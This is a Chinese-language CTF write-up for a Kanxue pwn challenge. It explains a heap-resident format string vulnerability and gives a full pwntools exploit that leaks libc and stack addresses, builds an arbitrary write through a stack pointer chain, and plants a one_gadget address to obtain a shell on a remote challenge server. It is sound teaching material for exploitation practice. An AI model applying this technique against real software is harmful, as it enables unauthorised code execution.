-
-
KCTF-前世今生(PWN)-WP
-
2021-1-7 18:21 7997
-
最近为了学习_IO_FILE
这一类的利用,在尝试阅读scanf
的源码,想找一点参考资料,就到看雪论坛上面看了看,资料没找到反而是发现看雪也有自己的题库,于是就找了这道难度分最低的题目试了试水。原题地址
解法
非常容易,就是典型的堆上格式化字符串利用。考虑到内部对字符串的处理是用链表加堆实现的,好像也没什么保护措施,应该也是可以通过堆来利用的,但是那个的实现逻辑不是一眼可以理解的,所以我就没去想。
漏洞点就是这里。您可能会发现main函数中有一个isatty()
函数,这是对当前进程是否由终端打开的判断,如果是则返回1
,对于本题来讲就是如果是由终端打开就会打出一些提示输入的信息,如果不是就不会,但是仔细看上面的那个漏洞函数,会发现不论是不是终端打开都会有这个漏洞,所以完全不影响我们的利用。本题和一般的格式化字符串利用的唯一区别就是格式化字符串在堆上,我们没法直接向栈中布置地址来写,这种情况一般的解法都是找”跳板“实现任意地址读写,关于这种利用方式我之前有写过类似的一篇题解,就是这道xman_2019_format(文章里也介绍了格式化字符参数的计算方法,这里就不写了)。在这里我再写一次,也算复习一下。 把断点下在printf处
观察栈结构,我们可以看到蓝框中残留有libc的地址,通过%21$p
我们就可以把它leak
出来,用one_gadget
搜一波就可以算出execve("/bin/sh", rsp+0x70, environ)
的地址,所以只要我们可以实现任意地址写就可以get shell了。回想之前格式化字符串的利用,我们一般通过%n
来向一个我们给定的地址写入数据,这里我们无法直接注入地址,就可以通过橙框中0x7fffffffdec0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf20
这样的链(也就是之前说的跳板)实现对地址0x7fffffffdef0
的修改,将这个地址改成我们想修改的地址,然后再对地址0x7fffffffdef0
进行%n
就可以实现任意地址写了。当然这道题还是比较麻烦的
由于是通过这个函数退出的,所以我们需要劫持exit
的got
表来get shell,所幸的是没有开启full reload
的保护。所以这个时候就有利用的方法了,也就是先通过链0x7fffffffdec0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf20
对地址0x7fffffffdef0
中的值进行修改,修改成exit@got
,然后再修改exit@got
为one_gadget
,退出就可以get shell了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | #!/usr/binenv python # coding=utf-8 from pwn import * #context(log_level = 'debug') #context.terminal = ['tmux','splitw','-h'] #sh = process("./qsjs") sh = remote( "221.228.109.254" , 10001 ) libc = ELF( "./libc-2.23.so" ) def insert_str(payload): sh.sendline( "i" ) sh.sendline(payload) def peek_str(): sh.sendline( "p" ) def delete_str(): sh.sendline( "d" ) #leak libc insert_str( "%21$pstop" ) peek_str() magic_off = 0xf1147 base = int (sh.recvuntil( "stop" ,drop = True ),base = 16 ) - (libc.symbols[ "__libc_start_main" ] + 240 ) print hex (base) magic = base + magic_off print hex (magic) delete_str() #leak stack insert_str( "%8$pstop" ) peek_str() stack_addr = int (sh.recvuntil( "stop" ,drop = True ),base = 16 ) + 8 print hex (stack_addr) delete_str() addr_of_ret = stack_addr & 0xFFFF insert_str( "%" + str (addr_of_ret) + 'c' + "%8$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() insert_str( "%" + str ( 0x3098 ) + 'c' + "%14$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() addr_of_ret = (stack_addr + 2 ) & 0xFFFF insert_str( "%" + str (addr_of_ret) + 'c' + "%8$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() insert_str( "%" + str ( 0x60 ) + 'c' + "%14$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() #leak stack insert_str( "%15$pstop" ) peek_str() print hex ( int (sh.recvuntil( "stop" ,drop = True ),base = 16 )) delete_str() #gdb.attach(proc.pidof(sh)[0]) insert_str( "%" + str (magic & 0xFFFF ) + 'c' + "%15$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() insert_str( "%15$s" ) peek_str() print hex (u64(sh.recv( 6 ).ljust( 8 , "\x00" ))) print hex (magic) delete_str() addr_of_ret = stack_addr & 0xFFFF insert_str( "%" + str (addr_of_ret) + 'c' + "%8$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() insert_str( "%" + str (( 0x309A )) + 'c' + "%14$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() #leak stack insert_str( "%15$pstop" ) peek_str() print hex ( int (sh.recvuntil( "stop" ,drop = True ),base = 16 )) delete_str() insert_str( "%" + str ((magic>> 16 ) & 0xFFFF ) + 'c' + "%15$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() insert_str( "%15$s" ) peek_str() print hex (u64(sh.recv( 6 ).ljust( 8 , "\x00" ))) print hex (magic) delete_str() insert_str( "%" + str (( 0x309C )) + 'c' + "%14$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() #leak stack insert_str( "%15$pstop" ) peek_str() print hex ( int (sh.recvuntil( "stop" ,drop = True ),base = 16 )) delete_str() insert_str( "%" + str ((magic>> 32 ) & 0xFFFF ) + 'c' + "%15$hnend" ) peek_str() sh.recvuntil( "end" ) delete_str() insert_str( "%15$s" ) peek_str() print hex (u64(sh.recv( 6 ).ljust( 8 , "\x00" ))) print hex (magic) delete_str() sh.sendline( "q" ) sh.interactive() |
由于我在写的时候没看清楚,我是先修改了main
的返回地址才发现应该修改exit@got
,所以实际上您会发现这个exp是写渣了的,但是shell还是可以拿的。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课